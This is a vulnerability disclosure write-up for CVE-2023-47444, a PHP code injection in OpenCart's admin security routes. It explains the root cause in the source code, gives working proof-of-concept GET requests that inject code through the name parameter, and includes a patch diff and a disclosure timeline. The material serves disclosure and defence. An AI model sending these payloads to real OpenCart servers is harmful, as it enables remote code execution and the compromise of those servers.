Published: 14 Nov 2023 | Last update: 01 Dec 2023 | Reading time: ~12 min
Authenticated Static Code Injections in OpenCart (CVE-2023-47444)
#OpenCart #code-injection #php #CVE-2023-47444
In OpenCart versions 4.0.0.0 to 4.0.2.3, authenticated backend users having
common/security
“access” and “modify” privileges can write arbitrary untrusted data insideconfig.php
andadmin/config.php
, resulting in remote code execution on the underlying server.
Table of contents
Summary
- Product
- OpenCart
- Vendor
- OpenCart
- Severity
- High
- Affected Version(s)
- 4.0.0.0 - 4.0.2.3
- Tested Version(s)
- 4.0.2.2, 4.0.2.3
- CVE
- CVE-2023-47444
- CVE Description
- In OpenCart versions 4.0.0.0 to 4.0.2.3, authenticated backend users having common/security "access" and "modify" privileges can write arbitrary untrusted data inside config.php and admin/config.php, resulting in remote code execution on the underlying server.
- CWE
- CWE-96: Improper Neutralization of Directives in Statically Saved Code
CVSS 3.1 Score
Base Score:Â 8.8 (High)
Vector String:Â CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Metric | Value |
---|---|
Attack Vector (AV) | Network |
Attack Complexity (AC) | Low |
Privileges Required (PR) | Low |
User Interaction (UI) | None |
Scope (S) | Unchanged |
Confidentiality (C) | High |
Integrity (I) | High |
Availability (A) | High |
Group Privileges and considerations
OpenCart manages privileges following a “matrix” approach, where read (access) and write (modify) permissions can be granted on every specific route, for any “User Group”.
common/security
is the route that (optionally) moves the storage
folder out of the application root once the installation is complete, renames the /admin
path to something new, and removes the installation folder when the installation process is finish.
By default, OpenCart has only one administrator group and user, having full read/write permissions. All the other new users must be created and configured from scratch, including their permissions, so it depends on the individual configuration whether common/security
is included or not.
In my personal experience, I tested different client’s OpenCart installations, and many times I found non-administrative users (such as sales account, brand operators, support accounts, etc.) having the common/security
permissions enabled. Reasons can range from misconception of the “common” privilege group, to lazyness of sysadmins applying a black-list approach (enabling everything with the “All” option and then removing only some permissions) instead of selecting only the specific desired permissions.
From a pure threat model perspective, so, the vulnerability has some important pre-requisites (see also Exploit Conditions and Prerequisites) that makes exploitation not so common and significantly lower the risk. Considering the various installation I tested in the past, however, we cannot assume that other installations do not also share the same bad practice. It may be that companies create and use other profiles besides admin
and that these profiles include common/security
, just as it may be that the numbers are significantly lower and that my cases were exceptions.
Vulnerabilities
There are two distinct static code injection vulnerabilities in the function that moves the storage
folder outside the application web root, and the function that renames the secret admin
path after the installation. While the latter can be exploited only if the admin
folder has not yet been renamed, the former can be exploited anytime, even if the storage
folder has already been moved. Both vulnerabilities require that the user has the common/security
“access” and “modify” privileges enabled. Exploiting them, an authenticated adversary can inject arbitrary static PHP code that will be executed by every page, resulting in arbitrary remote code execution. Those vulnerabilities were both introduced from OpenCart 4.0.0.0 onward.
Because of the nature of the vulnerabilities, it is very likely to create disruption and break the application completely if the configuration files and the actual directories created on disk do not match at the end of exploitation.
Vulnerabilities Details and Root Causes
Static Code Injection in common/security.storage
The
storage()
function inupload/admin/controller/common/security.php
is vulnerable to PHP static code injection because$name
and$path
user-controlled variables are concatenated and placed inside$base_new
, which is then written inside theconfig.php
andadmin/config.php
files, without proper escape or validation.
The relevant vulnerable code can be found below:
4.0.2.3/upload/admin/controller/common/security.php
public function storage(): void {
// ...
if (isset($this->request->get["page"])) {
$page = (int)$this->request->get["page"];
} else {
$page = 1;
}
if (isset($this->request->get["name"])) {
$name = preg_replace( // [1]
"[^a-zA-z0-9_]",
"",
basename(
html_entity_decode(
trim($this->request->get["name"]),
ENT_QUOTES,
"UTF-8"
)
)
);
} else {
$name = "";
}
if (isset($this->request->get["path"])) {
$path = preg_replace( // [2]
"[^a-zA-z0-9_\:\/]",
"",
html_entity_decode(
trim($this->request->get["path"]),
ENT_QUOTES,
"UTF-8"
)
);
} else {
$path = "";
}
$json = [];
if ($this->user->hasPermission("modify", "common/security")) {
// ...
$base_new = $path . $name . "/";
// ...
$root = str_replace("\\", "/", realpath($this->request->server["DOCUMENT_ROOT"] . "/../"));
if (substr($base_new, 0, strlen($root)) != $root || $root == $base_new) { // [3]
$json["error"] = $this->language->get("error_storage");
}
if (is_dir($base_new) && $page < 2) { // [4]
$json["error"] = $this->language->get("error_storage_exists");
}
if (!is_writable(DIR_OPENCART . "config.php") || !is_writable(DIR_APPLICATION . "config.php")) {
$json["error"] = $this->language->get("error_writable");
}
} else {
$json["error"] = $this->language->get("error_permission");
}
if (!$json) {
// ...
// Create the new storage folder
if (!is_dir($base_new)) {
mkdir($base_new, 0777); // [5]
}
// ...
for ($i = $start;$i < $end;$i++) {
// moving all the files and directories from the old storage folder to the newer one
// ...
}
if ($end < $total) {
$json["next"] = $this->url->link(
"common/security.storage",
"&user_token=" .
$this->session->data["user_token"] .
"&name=" .
$name .
"&path=" .
$path .
"&page=" .
($page + 1),
true
);
} else {
// Start deleting old storage location files and directories.
// ...
rmdir($base_old);
// Modify the config files
$files = [DIR_APPLICATION . "config.php", DIR_OPENCART . "config.php", ];
foreach ($files as $file) {
$output = "";
$lines = file($file);
foreach ($lines as $line_id => $line) {
if (strpos($line, 'define(\'DIR_STORAGE') !== false) {
$output.= 'define(\'DIR_STORAGE\', \'' . $base_new . '\');' . "\n"; // [6]
} else {
$output.= $line;
}
}
$file = fopen($file, "w");
fwrite($file, $output);
fclose($file);
}
// ...
}
}
}
At [1]
and [2]
, the new storage directory’s name and path are obtained from the incoming HTTP GET request and stored into $name
and $path
PHP variables. In both cases, a regex is applied in order to remove special untrusted characters, however, the regex is badly implemented and so does nothing. Furthermore, the basename()
1 function is used on the supplied name
parameter, preventing us from using the /
character inside it.
$foo = "storage99');phpinfo();%23";
$name = preg_replace('[^a-zA-z0-9_]', '', basename(html_entity_decode(trim($foo), ENT_QUOTES, 'UTF-8')));
print($name); // storage99');phpinfo();%23
print("\n\n");
$name = preg_replace('/[^a-zA-z0-9_]/', '', basename(html_entity_decode(trim($foo), ENT_QUOTES, 'UTF-8')));
print($name); // storage99phpinfo23
print("\n\n");
At [3]
, after having verified the authenticated user has the write privilege for common/security
, some checks are performed on $base_new
(which is the concatenation of $name
and $path
). Here the application checks that $base_new
is located inside the OpenCart’s installation folder, but the check is not well performed and (if required) can be bypassed using a path traversal:
<?php
$root = str_replace('\\', '/', realpath('$this->request->server["DOCUMENT_ROOT"]' . '/../'));
print($root . "\n\n"); // /home/kali/Projects/OpenCart/4.0.2.3/
$base_new = '/dev/shm/new-folder'; // result -> Error!
$base_new = '/home/kali/Projects/new-folder'; // result -> Error!
$base_new = '/dev/shm/new-folder'; // result -> Error!
$base_new = '/home/kali/Projects/OpenCart/new-folder'; // result -> Error!
$base_new = '/home/kali/Projects/OpenCart/4.0.2.3/new-folder'; // result -> Accepted!
$base_new = '/home/kali/Projects/OpenCart/4.0.2.3/../../../../../../../../dev/shm/new-folder'; // result -> Accepted!
if ((substr($base_new, 0, strlen($root)) != $root) || ($root == $base_new)) {
print("Error!");
}else{
print("Accepted!");
}
?>
The OpenCart installation directory can be retrieved in many different ways. It can be leaked through the GUI (if the storage
folder has never been moved), or through verbose errors (eg. CVE-2011-3763 2). It can also be read from logs if the user has the tool/log
read privilege, or it can be discovered mis-using other funtionalities such as the change profile image 3.
At [4]
, the application checks that $base_new
does not already exist and config.php
and admin/config.php
have writable privileges. If no error has occurred, the application creates the new folder [5]
and moves all the files from the old storage
path to the newer one.
Finally, at [6]
, it replaces inside config.php
and admin/config.php
the old DIR_STORAGE
value with the newer one, without performing any further checks on the variable.
In a normal scenario, the storage directory will be moved to a newer location under the OpenCart installation folder, and the configuration files will be updated accordingly. However, since there is a lack of input sanitization, it is possible to inject a new storage path inside configuration files containing special characters that allow escaping the define()
function and add arbitrary PHP code.
4.0.2.3/upload/admin/config.php
// Default DIR_STORAGE value
define('DIR_STORAGE', DIR_SYSTEM . 'storage/');
// DIR_STORAGE after a legitimate move
define('DIR_STORAGE', '/home/kali/Projects/OpenCart/4.0.2.3/storage-bis/');
// DIR_STORAGE after the exploitation
define('DIR_STORAGE', '/home/kali/Projects/OpenCart/4.0.2.3/storage-bis/');phpinfo();#');
Static Code Injection in common/security.admin
The
admin()
function inupload/admin/controller/common/security.php
is vulnerable to PHP static code injection because$name
user-controlled variable is placed inside$base_new
, which is then written inside a newconfig.php
file, without proper escape or validation.
The relevant vulnerable code can be found below:
public function admin(): void {
// ...
if (isset($this->request->get['name'])) { // [1]
$name = preg_replace(
'[^a-zA-z0-9]',
'',
basename(
html_entity_decode(
trim((string)$this->request->get['name']),
ENT_QUOTES,
'UTF-8'
)
)
);
} else {
$name = 'admin';
}
$json = [];
if ($this->user->hasPermission('modify', 'common/security')) {
$base_old = DIR_OPENCART . 'admin/';
$base_new = DIR_OPENCART . $name . '/';
if (!is_dir($base_old)) { // [2]
$json['error'] = $this->language->get('error_admin');
}
if (is_dir($base_new) && $page < 2) {
$json['error'] = $this->language->get('error_admin_exists');
}
if ($name == 'admin') {
$json['error'] = $this->language->get('error_admin_name');
}
if (!is_writable(DIR_OPENCART . 'config.php') || !is_writable(DIR_APPLICATION . 'config.php')) {
$json['error'] = $this->language->get('error_writable');
}
} else {
$json['error'] = $this->language->get('error_permission');
}
if (!$json) {
// ...
// 1. We need to copy the files, as rename cannot be used on any directory,
// the executing script is running under
// ...
// 2. Create the new admin folder name
if (!is_dir($base_new)) { // [3]
mkdir($base_new, 0777);
}
// 3. split the file copies into chunks.
// ...
// 4. Copy the files across
foreach (array_slice($files, $start, $end) as $file) {
// ...
}
if (($page * $limit) <= $total) {
$json['next'] = $this->url->link(
'common/security.admin',
'&user_token=' . $this->session->data['user_token'] .
'&name=' . $name .
'&page=' . ($page + 1),
true
);
} else {
// Update the old config files
$file = $base_new . 'config.php';
$output = '';
$lines = file($file);
foreach ($lines as $line_id => $line) {
$status = true;
if (strpos($line, 'define(\'HTTP_SERVER') !== false) {
$output .= 'define(\'HTTP_SERVER\', \'' . // [4]
substr(
HTTP_SERVER,
0,
strrpos(HTTP_SERVER, '/admin/')
) . '/' . $name . '/\');' . "\n";
$status = false;
}
if (strpos($line, 'define(\'DIR_APPLICATION') !== false) {
$output .= 'define(\'DIR_APPLICATION\', DIR_OPENCART . \'' . $name . // [5]
'/\');' . "\n";
$status = false;
}
if ($status) {
$output .= $line;
}
}
// ...
}
}
// ...
}
At [1]
the new admin directory name is read from the incoming HTTP GET request and stored inside the $name
PHP variable. Also in this case, a regex is applied in order to remove special untrusted characters, but it is badly implemented and so does nothing. As for the storage()
function, also in this case basename()
1 is used on the supplied name
parameter, preventing us from using the /
character inside it.
At [2]
, after having verified the authenticated user has the write privilege for common/security
, the application checks if the admin/
or the new folder exists and also that config.php
and admin/config.php
have writable privileges. If no error has occurrs, the application creates the new folder [3]
and moves all the files from the old admin path to the newer one.
Finally, at [4]
and [5]
, it replaces inside the new config.php
the old HTTP_SERVER
and DIR_APPLICATION
variables with the new path, without performing any further checks on the variables.
In a normal scenario, the admin/
directory will be moved to a newer directory under the OpenCart installation folder, and the configuration files will be updated accordingly. However, since there is a lack of input sanitization, it is possible to inject two new HTTP_SERVER
and DIR_APPLICATION
paths inside the configuration file containing special characters that allow escaping the define()
function and add arbitrary PHP code.
Exploit Conditions and Prerequisites
Both the vulnerabilities can be exploited if the attacker has valid credentials for the backend dashboard with the write
permission on common/security
. Furthermore, an additional pre-requisite is needed to exploit the admin()
function (common/security.admin
), whereby the admin/
folder must be the default one and must not have been previously renamed.
Proof-of-Concept
PoC for common/security.storage
The vulnerability in common/security.storage
can be exploited by sending two GET requests.
The PoC do not fix the mismatch between the
DIR_STORAGE
variable written insideconfig.php
and the actual folder created on disk (/home/kali/Projects/OpenCart/4.0.2.3/pwned'\'');phpinfo();#
). This means that the PoC completely breaks the application. Be aware of this.
The first request has to be sent to: route=common/security.storage&name=pwned');phpinfo();%23&path=<opencart_base_folder>&user_token=<user_token>
GET /admin_secret/index.php?route=common/security.storage&name=pwned');phpinfo();%23&path=/home/kali/Projects/OpenCart/4.0.2.3/&user_token=e5e8e0f6369ef124dd3d94d4d4e1d8ad HTTP/1.1
Host: 127.0.0.1:8888
Cookie: OCSESSID=fbc47c7e5098550f0c12070be0
--- RESPONSE ---
HTTP/1.1 200 OK
{"next":"http:\/\/127.0.0.1:8888\/admin_secret\/index.php?route=common\/security.storage&user_token=e5e8e0f6369ef124dd3d94d4d4e1d8ad&name=pwned');phpinfo();#&path=\/home\/kali\/Projects\/OpenCart\/4.0.2.3\/&page=2"}
The second one to: route=common/security.storage&name=pwned');phpinfo();%23&path=<opencart_base_folder>&user_token=<user_token>&page=99
GET /admin_secret/index.php?route=common/security.storage&name=pwned');phpinfo();%23&path=/home/kali/Projects/OpenCart/4.0.2.3/&user_token=e5e8e0f6369ef124dd3d94d4d4e1d8ad&page=99 HTTP/1.1
Host: 127.0.0.1:8888
Cookie: OCSESSID=fbc47c7e5098550f0c12070be0
--- RESPONSE ---
HTTP/1.1 200 OK
{"success":"Success: Storage directory has been moved!"}
Now every page will include the poisoned config.php
file, executing the injected code (in our case the phpinfo()
function):
Demo:
PoC for common/security.admin
The vulnerability in common/security.admin
can also be exploited by sending two different GET requests.
The first one to: route=common/security.admin&user_token=<token>&page=1&name=foo%27);phpinfo();print(%27
GET /admin/index.php?route=common/security.admin&user_token=7cc69dfa3112eb181c75da78147d8af1&page=1&name=foo%27);phpinfo();print(%27 HTTP/1.1
Host: 127.0.0.1:8888
Cookie: OCSESSID=fbc47c7e5098550f0c12070be0
--- RESPONSE ---
HTTP/1.1 200 OK
{"next":"http:\/\/127.0.0.1:8888\/admin\/index.php?route=common\/security.admin&user_token=7cc69dfa3112eb181c75da78147d8af1&name=foo');phpinfo();print('&page=2"}
The second one to: route=common/security.admin&user_token=<token>&page=99&name=foo%27);phpinfo();print(%27
GET /admin/index.php?route=common/security.admin&user_token=7cc69dfa3112eb181c75da78147d8af1&page=99&name=foo%27);phpinfo();print(%27 HTTP/1.1
Host: 127.0.0.1:8888
Cookie: OCSESSID=fbc47c7e5098550f0c12070be0
--- RESPONSE ---
HTTP/1.1 200 OK
{"redirect":"http:\/\/127.0.0.1:8888\/foo');phpinfo();print('\/index.php?route=common\/login"}
In this case, a new directory containing the poinsoned config.php
file will be created:
Demo:
Mitigations and hotfix
Fixing the misconfigured regexes (pull reqeust #12949) should prevent the exploitation in both the scenarios:
}
if (isset($this->request->get['name'])) {
- $name = preg_replace('[^a-zA-Z0-9_]', '', basename(html_entity_decode(trim($this->request->get['name']), ENT_QUOTES, 'UTF-8')));
+ $name = preg_replace('/[^a-zA-Z0-9_]/', '', basename(html_entity_decode(trim($this->request->get['name']), ENT_QUOTES, 'UTF-8')));
} else {
$name = '';
}
if (isset($this->request->get['path'])) {
- $path = preg_replace('[^a-zA-Z0-9_\:\/]', '', html_entity_decode(trim($this->request->get['path']), ENT_QUOTES, 'UTF-8'));
+ $path = preg_replace('/[^a-zA-Z0-9_\:\/]/', '', html_entity_decode(trim($this->request->get['path']), ENT_QUOTES, 'UTF-8'));
} else {
$path = '';
}
@@ -282,7 +282,7 @@ public function admin(): void {
}
if (isset($this->request->get['name'])) {
- $name = preg_replace('[^a-zA-Z0-9]', '', basename(html_entity_decode(trim((string)$this->request->get['name']), ENT_QUOTES, 'UTF-8')));
+ $name = preg_replace('/[^a-zA-Z0-9]/', '', basename(html_entity_decode(trim((string)$this->request->get['name']), ENT_QUOTES, 'UTF-8')));
} else {
$name = 'admin';
}
Furthermore, disable the common/security
role for every user until a patch will be available.
16/11/2023 update: A partial fix only affecting the storage
function (#12951) has been merged to master.
Disclosure Timeline
Please refer to the disclosure policy page for further details about the disclosure policy adopted by 0xbro.
- 14/10/2023: Discovered both the vulnerabilities in
opencart/upload/admin/controller/common/security.php
- 17/10/2023: Contacted OpenCart at
support@opencart.com
(without receiving any response). - 24/10/2023: Contacted OpenCart at
webmaster@opencart.com
. - 30/10/2023: Following the official guidelines, published a post on the official OpenCart forum.
- 02/11/2023: Sent a PM to an Administrator on the official OpenCart forum.
- 10/11/2023: Assigned CVE-2023-47444
- 10/11/2023: Sent a PM to another Administrator on the official OpenCart forum as a very last resort to contact the OpenCart staff.
- 11/11/2023: Get a kindly response from an OpenCart Administrator
- 14/11/2023: Public release and opened a GitHub issue (#12947)
- 15/11/2023: Opened a pull request (#12949) with a hotfix, but closed immediately by administrator. GitHub issue also closed by administrator after having marked it as spam and a “non vulnerability”.
- 16/11/2023: Partial fix - only affecting the
storage
function (#12951) merged to master
-
CVE-2011-3763, nvd.nist.gov ↩
-
CVE-2013-1891, security.snyk.io ↩